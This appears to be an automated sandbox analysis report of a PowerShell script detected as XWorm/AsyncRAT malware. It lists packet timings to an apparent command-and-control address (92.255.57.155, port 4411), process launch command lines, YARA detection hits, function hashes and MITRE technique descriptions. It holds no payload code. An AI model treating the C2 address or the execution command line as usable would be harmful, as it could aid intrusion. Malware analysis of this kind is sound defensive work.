Dec 18, 2024 08:17:38.211743116 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:41.092479944 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:41.213987112 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:41.526412964 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:41.528388977 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:41.648174047 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:45.186322927 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:45.305859089 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:45.623107910 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:45.634388924 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:45.753911018 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:56.811279058 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:56.930881023 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:57.260857105 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:57.263161898 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:17:57.382745028 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:58.430042982 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:17:58.486021042 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:08.498043060 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:08.617779970 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:08.930831909 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:08.932950974 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:09.054086924 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:11.967648029 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:12.087337017 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.092647076 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:12.212897062 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.212971926 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:12.332662106 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.401149988 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.403176069 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:12.522975922 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.591924906 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.594444036 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:12.713869095 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.713896990 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:12.715630054 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:12.835268974 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:14.826867104 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:14.946554899 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:15.259849072 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:15.262039900 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:15.381664991 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:18.561378002 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:18.681472063 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:18.994275093 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:18.999823093 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:19.119590044 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:22.639364004 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:22.758862972 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:23.072269917 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:23.074203014 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:23.193919897 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:28.444809914 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:28.498595953 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:34.264504910 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:34.384186983 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:34.833813906 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:34.838093042 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:34.957735062 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:36.045969009 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:36.165821075 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:36.479150057 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:36.481823921 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:36.601546049 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:37.438093901 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:37.558013916 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:37.871432066 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:37.874172926 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:37.995177031 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:45.077061892 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:45.196974039 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:45.510716915 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:45.514127016 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:45.634282112 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:56.702001095 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:56.821883917 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:57.135571957 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:57.141140938 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:18:57.261709929 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:58.456984997 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:18:58.545453072 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:08.360177040 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:08.479876041 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:08.793859005 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:08.800193071 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:08.919997931 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:16.561474085 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:16.681483030 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:17.112171888 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:17.253400087 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:17.373033047 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:20.734181881 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:20.853813887 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:21.167140961 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:21.168993950 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:21.288633108 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:28.446367979 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:28.546215057 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:29.998960018 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:30.118959904 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:30.432749033 CET	4411	49705	92.255.57.155	192.168.2.9
Dec 18, 2024 08:19:30.433857918 CET	49705	4411	192.168.2.9	92.255.57.155
Dec 18, 2024 08:19:30.553673029 CET	4411	49705	92.255.57.155	192.168.2.9

Target ID:	0
Start time:	02:15:21
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:15:21
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:15:24
Start date:	18/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff718340000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:15:24
Start date:	18/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xd50000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.3916503959.0000000003101000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FF887B21083 Relevance: 3.2, Strings: 2, Instructions: 689COMMON

Download Yara Rule

Strings

bJ, xrefs: 00007FF887B210E2
bJ, xrefs: 00007FF887B2147A

Memory Dump Source

Source File: 00000000.00000002.1512890714.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887b20000_powershell.jbxd

Similarity

API ID:
String ID: bJ$ bJ
API String ID: 0-259344987
Opcode ID: ab3647bf1a015e02f13123bb33d117738af889b09cb502340bbae8a0f2dd7cca
Instruction ID: ced45464764e9c2aa93f2ac3af7af44ce5618c48bf6ae762b36f24e37910cdb4
Opcode Fuzzy Hash: ab3647bf1a015e02f13123bb33d117738af889b09cb502340bbae8a0f2dd7cca
Instruction Fuzzy Hash: 34122532E5EA8D4FE796DA2C58556B93BE2FF96350B4801FAD04DC7193ED18AC06C381

Function 00007FF887B21304 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

bJ, xrefs: 00007FF887B2147A

Memory Dump Source

Source File: 00000000.00000002.1512890714.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887b20000_powershell.jbxd

Similarity

API ID:
String ID: bJ
API String ID: 0-3573994042
Opcode ID: 804cba145f9657cdbb17da5aff5ee71cca96896a2385efa0ec0a56c45b9539a3
Instruction ID: 22bb0167399b08533e81ec6a1f1976300ba4556b6b0f1c6d643e3a8b64e1d8c7
Opcode Fuzzy Hash: 804cba145f9657cdbb17da5aff5ee71cca96896a2385efa0ec0a56c45b9539a3
Instruction Fuzzy Hash: D461F331A5EACE4FE7969B6C54642B87BF2FF56390B9801FAD04DCB193E9189C05C341

Function 00007FF887A537B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1512455707.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: c87ae5a9f8020a07a5664d9d9a682ad38aad8f0a55f0b56f7197af45680d94c5
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: B201A77011CB0C4FD744EF0CE051AA6B3E0FB85364F10052DE58AC3651D636E882CB46

Function 00007FF887A5C3D5 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1512455707.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d81c499e1abc22664dd240f541a7602a98e4c1e1b626bb4d17753bea989df087
Instruction ID: 17a88a9d13f64f7de55a8d6409e954c07e9f3eb75d5f136f621fdf2c1876b05f
Opcode Fuzzy Hash: d81c499e1abc22664dd240f541a7602a98e4c1e1b626bb4d17753bea989df087
Instruction Fuzzy Hash: 07F0AF3184868D9FDB49EB64D4A9AED7FF0FF55300F4541EAD00ACB0A2DB39A949CB41

Function 00007FF887A55ADD Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1512455707.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37f0d8e619612d21874640dba971525420bf9359abbec3e5f98f24328e4e41d7
Instruction ID: 5760f93cb5313c4bedcc1ec627c1f36071c38c4260c53088fabdee91a6d4fc29
Opcode Fuzzy Hash: 37f0d8e619612d21874640dba971525420bf9359abbec3e5f98f24328e4e41d7
Instruction Fuzzy Hash: EEE0EC309085594FD791EB6498557A9B6F1BF58201F0044FA944ED7292DE742DC5CB01

Function 00007FF887A59737 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1512455707.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aabcfd91e8f55191a004931a183e6dcb2518b9a1ea28bfbd136d216059383d0f
Instruction ID: 2cf2181c1e1aa20770b3168e0806892b2844d78ad13680c24fb2a8562047a8a1
Opcode Fuzzy Hash: aabcfd91e8f55191a004931a183e6dcb2518b9a1ea28bfbd136d216059383d0f
Instruction Fuzzy Hash: 68D05E309592098FCB4CEF50C2624BD7772BF48744B20007ED40BAB281CB355902CB20

Non-executed Functions

Function 00007FF887A5044D Relevance: 7.6, Strings: 6, Instructions: 102COMMON

Download Yara Rule

Strings

P/#, xrefs: 00007FF887A504A1
p0#, xrefs: 00007FF887A50491
-#, xrefs: 00007FF887A504F1
(0#, xrefs: 00007FF887A504D1
8,#, xrefs: 00007FF887A504B1
/#, xrefs: 00007FF887A50469

Memory Dump Source

Source File: 00000000.00000002.1512455707.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID: (0#$8,#$P/#$p0#$-#$/#
API String ID: 0-2162826562
Opcode ID: cd4087cd0e1e673d80b68f0cefdf08c0db9c7867198c942ddd94108b21b21fa5
Instruction ID: 0fdb71bd53bce7a25e5350a7eb138443a59c35d5a8a767dc30068886d1a036a4
Opcode Fuzzy Hash: cd4087cd0e1e673d80b68f0cefdf08c0db9c7867198c942ddd94108b21b21fa5
Instruction Fuzzy Hash: A331A352D4E6C68FE7178AB868A703E7F72BF12690B1D84FBC0988B0D7D4498D09C342

Analysis Process: RegSvcs.exePID: 3352, Parent PID: 3600COMMON

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	46
Total number of Limit Nodes:	6

Executed Functions

Function 015EB598 Relevance: .9, Instructions: 909COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d18b337d2ad887342859b8b91f8634c5b0ac8e0b1fc5b69583702cdaadc223e9
Instruction ID: 397d3aa18f5dc4f4801435d1c9742a11c1d4270e987a3122c48e2e19c77b3fb1
Opcode Fuzzy Hash: d18b337d2ad887342859b8b91f8634c5b0ac8e0b1fc5b69583702cdaadc223e9
Instruction Fuzzy Hash: 54726A70E002199FDB19CFA9C898AAEBBF6BF88301F148469E555EB361DB31DD41CB50

Function 015EC2D8 Relevance: .9, Instructions: 907COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd5e4716ad3c15fb5fd153888fbdb1f4ca655072caf4e3d8c899f74ba539e9e
Instruction ID: 108f8062f6050c368ee1be24bf340a4b974a638856195d52f4f40c4dd1ae7cd0
Opcode Fuzzy Hash: 2cd5e4716ad3c15fb5fd153888fbdb1f4ca655072caf4e3d8c899f74ba539e9e
Instruction Fuzzy Hash: B3823974A00209DFDB19CF68C988AAEBBF2BF88310F158559E5569F3A1D730ED41CB91

Function 015E8618 Relevance: .3, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb80ee71921c4a7f653193a50032f74e54a20f907bf2730f3e4688bc7cb2fa1
Instruction ID: 2dfdda96a75c908cbddad114f7af58f9c306e257be853a2a5e2e9d6509b382da
Opcode Fuzzy Hash: eeb80ee71921c4a7f653193a50032f74e54a20f907bf2730f3e4688bc7cb2fa1
Instruction Fuzzy Hash: C4C18530E04219CBEF2C5FEA94183AD7BF2BFC8751F198819D442FA284DB748841DB65

Function 015E5BC8 Relevance: .3, Instructions: 281
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544ba69ac2b03bbd4b16658e3441d38a30d888c652949a65e1972f42957f4419
Instruction ID: 6ed04c14abdd632d375b24533da30c373033fedbdd963f5ad98b7adc976527be
Opcode Fuzzy Hash: 544ba69ac2b03bbd4b16658e3441d38a30d888c652949a65e1972f42957f4419
Instruction Fuzzy Hash: 44B18F74E10209CFDB18CFA9C88979EBBF2BF88318F148129D415EB254EB759946CB81

Function 015E6498 Relevance: .3, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cc3bc9177cc3298ae0f8db39d2702a710041901b87b8bd5fdc9046f216bcd03
Instruction ID: 2e4fdc9861533d896cf520cc0e1694efa5b443a2a19ca28e42f87c13179a6227
Opcode Fuzzy Hash: 0cc3bc9177cc3298ae0f8db39d2702a710041901b87b8bd5fdc9046f216bcd03
Instruction Fuzzy Hash: 4EB17C70E102098FDB18CFA9C88979EBBF2BF98354F148529D815EB294EB749845CB81

Function 015E8228 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f111fcf274d918092cc63b5010f13c3c326721dd7755e4a1151b18c54e26dc
Instruction ID: 97e33fafeff5e679ae2dbcd978b3ae8282c2d1877b15b913a437cdb308bed916
Opcode Fuzzy Hash: c4f111fcf274d918092cc63b5010f13c3c326721dd7755e4a1151b18c54e26dc
Instruction Fuzzy Hash: A5411432E047868FDB15DFB9D8043EEBBF5FF89210F15866AC444AB251EB789845CB90

Function 015E7B7C Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,015E827A), ref: 015E8367

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 86c60337bbb4c4d41486aaab9a29e13f89055de3e0b1672c14831f2c112028ea
Instruction ID: a8132894b784befb0ce4b485a8d339b41cfcc203751429d85ab95d5855bfd81d
Opcode Fuzzy Hash: 86c60337bbb4c4d41486aaab9a29e13f89055de3e0b1672c14831f2c112028ea
Instruction Fuzzy Hash: 0E1133B1C006599BDB10CF9AC844B9EFBF4BF48220F11816AD818AB240D378A940CFE1

Function 015E82F8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,015E827A), ref: 015E8367

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 3518d784e08d842cc9bec7c6bb5c75997744ba41c0a6f5412bcd64fb1cffa5ed
Instruction ID: c0ed253a6c822d57097c10071c3f82cbb15a539cf5d7119c3a74b53c27fd9a11
Opcode Fuzzy Hash: 3518d784e08d842cc9bec7c6bb5c75997744ba41c0a6f5412bcd64fb1cffa5ed
Instruction Fuzzy Hash: A91126B6C00659DFDB10CFAAC5457DEFBF4BF08220F15856AD858AB240D378AA44CFA1

Non-executed Functions

Function 015E0FA0 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c755fae98118ef718cb6572ee1a1a43af758cd5ddbe97cff283c5f39e0492d8
Instruction ID: fd261e3666d04a7975ad94d13b8e7f5c006b967c7268979aa9ee65a7881677c8
Opcode Fuzzy Hash: 7c755fae98118ef718cb6572ee1a1a43af758cd5ddbe97cff283c5f39e0492d8
Instruction Fuzzy Hash: C6819274F002199BDB1CDFB5889837E77F7BFC8610B058969E456EB388CE3498059B92

Function 015E5880 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3915975794.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 786722e423d524068726b33018f5175dd924e2599999181f08a1312c8115271c
Instruction ID: 07d36d8f765a8ef4334b79954a556fb00c9682101a7459e8d1b23692ff51a660
Opcode Fuzzy Hash: 786722e423d524068726b33018f5175dd924e2599999181f08a1312c8115271c
Instruction Fuzzy Hash: 3D913974E103098FDF18CFA9C9897EEBBF2BF88318F148529D415AB254EB749845CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
